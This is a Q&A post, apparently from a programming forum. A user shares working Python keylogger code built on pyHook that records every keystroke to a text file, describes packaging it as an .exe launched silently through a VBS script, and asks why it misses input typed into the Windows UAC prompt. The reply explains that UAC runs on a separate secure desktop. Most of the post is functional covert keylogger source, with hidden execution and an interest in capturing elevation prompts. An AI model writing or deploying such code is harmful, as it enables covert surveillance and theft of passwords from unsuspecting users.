pythonwindowsadminkeylogger

Python keylogger does not log UA prompt keystrokes


I am making a simple keylogger in Python. It was turned into an .exe file by putting all the necessary stuff into a rar and additionally creating a vbs to run it silently. It records all input and stores it in a txt file once it's terminated via Task Manager. I was testing what it could do and I noticed it did not record any input in the windows UA prompt (And of course this was not my actual intent). I was wondering why this happens. Thanks in advance.

Here you can view the keylogger code:

import pyHook, pythoncom, sys, logging

file_log = 'keyloggeroutput.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

Solution

  • A keyboard hook can observe keyboard input only in the desktop where it's installed. The UAC prompt is displayed in a dedicated, secure desktop.